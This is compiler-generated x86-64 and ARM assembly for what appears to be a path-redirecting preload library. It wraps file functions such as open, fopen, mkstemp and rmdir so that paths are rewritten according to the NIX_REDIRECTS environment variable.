call rewrite
mov rsi, rax
mov edx, DWORD PTR -4136[rbp]
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov edi, eax
call rcx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L118
call __stack_chk_fail@PLT
.L118:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE33:
.size unlinkat, .-unlinkat
.section .rodata
.LC24:
.string "rmdir"
.text
.globl rmdir
.type rmdir, @function
rmdir:
.LFB34:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC24[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdx, rax
mov rax, QWORD PTR -4120[rbp]
mov rdi, rdx
call rax
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L121
call __stack_chk_fail@PLT
.L121:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE34:
.size rmdir, .-rmdir
.type copy_temp_wildcard, @function
copy_temp_wildcard:
.LFB35:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov rax, QWORD PTR -24[rbp]
mov esi, 4096
mov rdi, rax
call strnlen@PLT
mov DWORD PTR -8[rbp], eax
mov rax, QWORD PTR -32[rbp]
mov esi, 4096
mov rdi, rax
call strnlen@PLT
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
cdqe
mov edx, DWORD PTR -36[rbp]
add edx, 6
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -32[rbp]
add rcx, rax
mov eax, DWORD PTR -8[rbp]
cdqe
mov edx, DWORD PTR -36[rbp]
add edx, 6
movsx rdx, edx
sub rax, rdx
mov rsi, rax
mov rax, QWORD PTR -24[rbp]
add rax, rsi
mov edx, 6
mov rsi, rcx
mov rdi, rax
call memcpy@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE35:
.size copy_temp_wildcard, .-copy_temp_wildcard
.section .rodata
.LC25:
.string "mkstemp"
.text
.globl mkstemp
.type mkstemp, @function
mkstemp:
.LFB36:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC25[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4128[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4120[rbp], rax
mov rax, QWORD PTR -4120[rbp]
mov rdx, QWORD PTR -4128[rbp]
mov rdi, rax
call rdx
mov DWORD PTR -4132[rbp], eax
cmp DWORD PTR -4132[rbp], 0
js .L124
mov rax, QWORD PTR -4120[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L124
mov rcx, QWORD PTR -4120[rbp]
mov rax, QWORD PTR -4152[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L124:
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L126
call __stack_chk_fail@PLT
.L126:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE36:
.size mkstemp, .-mkstemp
.section .rodata
.LC26:
.string "mkostemp"
.text
.globl mkostemp
.type mkostemp, @function
mkostemp:
.LFB37:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov DWORD PTR -4156[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC26[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4128[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4120[rbp], rax
mov edx, DWORD PTR -4156[rbp]
mov rax, QWORD PTR -4120[rbp]
mov rcx, QWORD PTR -4128[rbp]
mov esi, edx
mov rdi, rax
call rcx
mov DWORD PTR -4132[rbp], eax
cmp DWORD PTR -4132[rbp], 0
js .L128
mov rax, QWORD PTR -4120[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L128
mov rcx, QWORD PTR -4120[rbp]
mov rax, QWORD PTR -4152[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L128:
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L130
call __stack_chk_fail@PLT
.L130:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE37:
.size mkostemp, .-mkostemp
.section .rodata
.LC27:
.string "mkstemps"
.text
.globl mkstemps
.type mkstemps, @function
mkstemps:
.LFB38:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov DWORD PTR -4156[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC27[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4128[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4120[rbp], rax
mov edx, DWORD PTR -4156[rbp]
mov rax, QWORD PTR -4120[rbp]
mov rcx, QWORD PTR -4128[rbp]
mov esi, edx
mov rdi, rax
call rcx
mov DWORD PTR -4132[rbp], eax
cmp DWORD PTR -4132[rbp], 0
js .L132
mov rax, QWORD PTR -4120[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L132
mov edx, DWORD PTR -4156[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L132:
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L134
call __stack_chk_fail@PLT
.L134:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE38:
.size mkstemps, .-mkstemps
.section .rodata
.LC28:
.string "mkostemps"
.text
.globl mkostemps
.type mkostemps, @function
mkostemps:
.LFB39:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov DWORD PTR -4156[rbp], esi
mov DWORD PTR -4160[rbp], edx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC28[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4128[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4120[rbp], rax
mov edx, DWORD PTR -4160[rbp]
mov ecx, DWORD PTR -4156[rbp]
mov rax, QWORD PTR -4120[rbp]
mov r8, QWORD PTR -4128[rbp]
mov esi, ecx
mov rdi, rax
call r8
mov DWORD PTR -4132[rbp], eax
cmp DWORD PTR -4132[rbp], 0
js .L136
mov rax, QWORD PTR -4120[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L136
mov edx, DWORD PTR -4156[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L136:
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L138
call __stack_chk_fail@PLT
.L138:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE39:
.size mkostemps, .-mkostemps
.section .rodata
.LC29:
.string "mkdtemp"
.text
.globl mkdtemp
.type mkdtemp, @function
mkdtemp:
.LFB40:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC29[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4136[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4128[rbp], rax
mov rax, QWORD PTR -4128[rbp]
mov rdx, QWORD PTR -4136[rbp]
mov rdi, rax
call rdx
mov QWORD PTR -4120[rbp], rax
cmp QWORD PTR -4120[rbp], 0
jne .L140
mov rax, QWORD PTR -4120[rbp]
jmp .L143
.L140:
mov rax, QWORD PTR -4128[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L142
mov rcx, QWORD PTR -4128[rbp]
mov rax, QWORD PTR -4152[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L142:
mov rax, QWORD PTR -4152[rbp]
.L143:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L144
call __stack_chk_fail@PLT
.L144:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE40:
.size mkdtemp, .-mkdtemp
.section .rodata
.LC30:
.string "mktemp"
.text
.globl mktemp
.type mktemp, @function
mktemp:
.LFB41:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4152[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC30[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4136[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4152[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite_non_const
mov QWORD PTR -4128[rbp], rax
mov rax, QWORD PTR -4128[rbp]
mov rdx, QWORD PTR -4136[rbp]
mov rdi, rax
call rdx
mov QWORD PTR -4120[rbp], rax
cmp QWORD PTR -4120[rbp], 0
jne .L146
mov rax, QWORD PTR -4120[rbp]
jmp .L149
.L146:
mov rax, QWORD PTR -4128[rbp]
cmp rax, QWORD PTR -4152[rbp]
je .L148
mov rcx, QWORD PTR -4128[rbp]
mov rax, QWORD PTR -4152[rbp]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call copy_temp_wildcard
.L148:
mov rax, QWORD PTR -4152[rbp]
.L149:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L150
call __stack_chk_fail@PLT
.L150:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE41:
.size mktemp, .-mktemp
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "847450.c"
.text
.local nrRedirects
.comm nrRedirects,4,4
.local from
.comm from,512,4
.local to
.comm to,512,4
.local isInitialized
.comm isInitialized,4,4
.section .rodata
.align 2
.LC0:
.ascii "NIX_REDIRECTS\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type init, %function
init:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L13
ldr r3, [r3]
cmp r3, #0
bne .L9
ldr r0, .L13+4
bl getenv
str r0, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L10
ldr r3, .L13
mov r2, #1
str r2, [r3]
ldr r0, [fp, #-20]
bl strlen
mov r3, r0
add r3, r3, #1
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-16]
ldr r1, [fp, #-20]
ldr r0, [fp, #-16]
bl strcpy
ldr r3, [fp, #-16]
str r3, [fp, #-24]
b .L5
.L8:
ldr r3, [fp, #-12]
mov r2, #0
strb r2, [r3]
ldr r3, .L13+8
ldr r3, [r3]
ldr r1, .L13+12
ldr r2, [fp, #-24]
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-24]
ldr r3, .L13+8
ldr r3, [r3]
ldr r1, .L13+16
ldr r2, [fp, #-24]
str r2, [r1, r3, lsl #2]
ldr r3, .L13+8
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L13+8
str r3, [r2]
ldr r3, .L13+8
ldr r3, [r3]
cmp r3, #128
beq .L11
mov r1, #58
ldr r0, [fp, #-24]
bl strchr
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L12
ldr r3, [fp, #-8]
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-24]
.L5:
mov r1, #61
ldr r0, [fp, #-24]
bl strchr
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
bne .L8
b .L1
.L9:
nop
b .L1
.L10:
nop
b .L1
.L11:
nop
b .L1
.L12:
nop
.L1:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word isInitialized
.word .LC0
.word nrRedirects
.word from
.word to
.size init, .-init
.section .init_array,"aw",%init_array
.align 2
.word init(target1)
.section .rodata
.align 2
.LC1:
.ascii "%s%s\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type rewrite, %function
rewrite:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
cmp r3, #0
bne .L16
ldr r3, [fp, #-16]
b .L17
.L16:
mov r3, #0
str r3, [fp, #-12]
b .L18
.L21:
ldr r2, .L22
ldr r3, [fp, #-12]
ldr r3, [r2, r3, lsl #2]
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-8]
ldr r2, .L22
ldr r3, [fp, #-12]
ldr r3, [r2, r3, lsl #2]
ldr r2, [fp, #-8]
mov r1, r3
ldr r0, [fp, #-16]
bl strncmp
mov r3, r0
cmp r3, #0
beq .L19
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
b .L18
.L19:
ldr r2, .L22+4
ldr r3, [fp, #-12]
ldr r1, [r2, r3, lsl #2]
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [sp]
mov r3, r1
ldr r2, .L22+8
mov r1, #4096
ldr r0, [fp, #-20]
bl snprintf
mov r3, r0
cmp r3, #4096
blt .L20
bl abort
.L20:
ldr r3, [fp, #-20]
b .L17
.L18:
ldr r3, .L22+12
ldr r3, [r3]
ldr r2, [fp, #-12]
cmp r2, r3
blt .L21
ldr r3, [fp, #-16]
.L17:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L23:
.align 2
.L22:
.word from
.word to
.word .LC1
.word nrRedirects
.size rewrite, .-rewrite
.align 2
.syntax unified
.arm
.fpu softvfp
.type rewrite_non_const, %function
rewrite_non_const:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl rewrite
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size rewrite_non_const, .-rewrite_non_const
.align 2
.syntax unified
.arm
.fpu softvfp
.type open_needs_mode, %function
open_needs_mode:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
and r3, r3, #64
cmp r3, #0
bne .L27
ldr r2, [fp, #-8]
ldr r3, .L31
and r3, r3, r2
ldr r2, .L31
cmp r3, r2
bne .L28
.L27:
mov r3, #1
b .L30
.L28:
mov r3, #0
.L30:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L32:
.align 2
.L31:
.word 4210688
.size open_needs_mode, .-open_needs_mode
.section .rodata
.align 2
.LC2:
.ascii "open\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global open
.syntax unified
.arm
.fpu softvfp
.type open, %function
open:
@ args = 4, pretend = 12, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 1
push {r1, r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #8
str r0, [r3, #-20]
ldr r3, .L37
ldr r3, [r3]
str r3, [fp, #-12]
mov r3,#0
ldr r1, .L37+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #8
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #8
mov r2, r3
mov r3, #0
str r3, [r2, #-12]
ldr r0, [fp, #4]
bl open_needs_mode
mov r3, r0
cmp r3, #0
beq .L34
add r3, fp, #8
sub r2, fp, #4096
sub r2, r2, #8
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #8
ldr r3, [r3, #-16]
add r2, r3, #4
sub r1, fp, #4096
sub r1, r1, #8
str r2, [r1, #-16]
sub r2, fp, #4096
sub r2, r2, #8
ldr r3, [r3]
str r3, [r2, #-12]
.L34:
sub r3, fp, #4096
sub r3, r3, #8
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #8
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite
sub r3, fp, #4096
sub r3, r3, #8
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #8
ldr r3, [r3, #-8]
ldr r2, [r2, #-12]
ldr r1, [fp, #4]
blx r3
mov r3, r0
ldr r2, .L37
ldr r1, [r2]
ldr r2, [fp, #-12]
eors r1, r2, r1
mov r2, #0
beq .L36
bl __stack_chk_fail
.L36:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #12
bx lr
.L38:
.align 2
.L37:
.word .LC3
.word .LC2
.size open, .-open
.section .rodata
.align 2
.LC4:
.ascii "open64\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global open64
.syntax unified
.arm
.fpu softvfp
.type open64, %function
open64:
@ args = 4, pretend = 12, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 1
push {r1, r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #8
str r0, [r3, #-20]
ldr r3, .L43
ldr r3, [r3]
str r3, [fp, #-12]
mov r3,#0
ldr r1, .L43+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #8
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #8
mov r2, r3
mov r3, #0
str r3, [r2, #-12]
ldr r0, [fp, #4]
bl open_needs_mode
mov r3, r0
cmp r3, #0
beq .L40
add r3, fp, #8
sub r2, fp, #4096
sub r2, r2, #8
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #8
ldr r3, [r3, #-16]
add r2, r3, #4
sub r1, fp, #4096
sub r1, r1, #8
str r2, [r1, #-16]
sub r2, fp, #4096
sub r2, r2, #8
ldr r3, [r3]
str r3, [r2, #-12]
.L40:
sub r3, fp, #4096
sub r3, r3, #8
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #8
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite
sub r3, fp, #4096
sub r3, r3, #8
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #8
ldr r3, [r3, #-8]
ldr r2, [r2, #-12]
ldr r1, [fp, #4]
blx r3
mov r3, r0
ldr r2, .L43
ldr r1, [r2]
ldr r2, [fp, #-12]
eors r1, r2, r1
mov r2, #0
beq .L42
bl __stack_chk_fail
.L42:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #12
bx lr
.L44:
.align 2
.L43:
.word .LC5
.word .LC4
.size open64, .-open64
.section .rodata
.align 2
.LC6:
.ascii "openat\000"
.align 2
.LC7:
.word __stack_chk_guard
.text
.align 2
.global openat
.syntax unified
.arm
.fpu softvfp
.type openat, %function
openat:
@ args = 4, pretend = 8, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 1
push {r2, r3}
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
sub r3, fp, #4096
sub r3, r3, #12
str r1, [r3, #-24]
ldr r3, .L49
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L49+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-12]
ldr r0, [fp, #4]
bl open_needs_mode
mov r3, r0
cmp r3, #0
beq .L46
add r3, fp, #8
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
add r2, r3, #4
sub r1, fp, #4096
sub r1, r1, #12
str r2, [r1, #-16]
sub r2, fp, #4096
sub r2, r2, #12
ldr r3, [r3]
str r3, [r2, #-12]
.L46:
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-24]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #12
sub r2, fp, #4096
sub r2, r2, #12
mov r0, r2
sub r2, fp, #4096
sub r2, r2, #12
ldr r4, [r2, #-8]
ldr r3, [r3, #-12]
ldr r2, [fp, #4]
ldr r0, [r0, #-20]
blx r4
mov r3, r0
ldr r2, .L49
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L48
bl __stack_chk_fail
.L48:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, lr}
add sp, sp, #8
bx lr
.L50:
.align 2
.L49:
.word .LC7
.word .LC6
.size openat, .-openat
.section .rodata
.align 2
.LC8:
.ascii "fopen\000"
.align 2
.LC9:
.word __stack_chk_guard
.text
.align 2
.global fopen
.syntax unified
.arm
.fpu softvfp
.type fopen, %function
fopen:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L54
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L54+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L54
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L53
bl __stack_chk_fail
.L53:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L55:
.align 2
.L54:
.word .LC9
.word .LC8
.size fopen, .-fopen
.section .rodata
.align 2
.LC10:
.ascii "__nss_files_fopen\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global __nss_files_fopen
.syntax unified
.arm
.fpu softvfp
.type __nss_files_fopen, %function
__nss_files_fopen:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
ldr r3, .L59
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L59+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L59
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L58
bl __stack_chk_fail
.L58:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L60:
.align 2
.L59:
.word .LC11
.word .LC10
.size __nss_files_fopen, .-__nss_files_fopen
.section .rodata
.align 2
.LC12:
.ascii "fopen64\000"
.align 2
.LC13:
.word __stack_chk_guard
.text
.align 2
.global fopen64
.syntax unified
.arm
.fpu softvfp
.type fopen64, %function
fopen64:
@ args = 0, pretend = 0, frame = 4112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #16
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
ldr r3, .L64
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L64+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-12]
bl rewrite
mov r2, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r1, [r1, #-16]
mov r0, r2
blx r3
mov r3, r0
ldr r2, .L64
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L63
bl __stack_chk_fail
.L63:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L65:
.align 2
.L64:
.word .LC13
.word .LC12
.size fopen64, .-fopen64
.section .rodata
.align 2
.LC14:
.ascii "__xstat\000"
.align 2
.LC15:
.word __stack_chk_guard
.text
.align 2
.global __xstat
.syntax unified
.arm
.fpu softvfp
.type __xstat, %function
__xstat:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #4096
sub sp, sp, #24
sub r3, fp, #4096
sub r3, r3, #4
str r0, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #4
str r1, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #4
str r2, [r3, #-20]
ldr r3, .L69
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L69+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #4
str r3, [r2, #-8]
sub r3, fp, #4096
sub r3, r3, #4
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #4
mov r1, r3
ldr r0, [r2, #-16]
bl rewrite
mov r1, r0
sub r3, fp, #4096
sub r3, r3, #4
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #4
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #4
ldr r3, [r3, #-8]
ldr r2, [r2, #-20]
ldr r0, [r0, #-12]
blx r3
mov r3, r0
ldr r2, .L69
ldr r1, [r2]
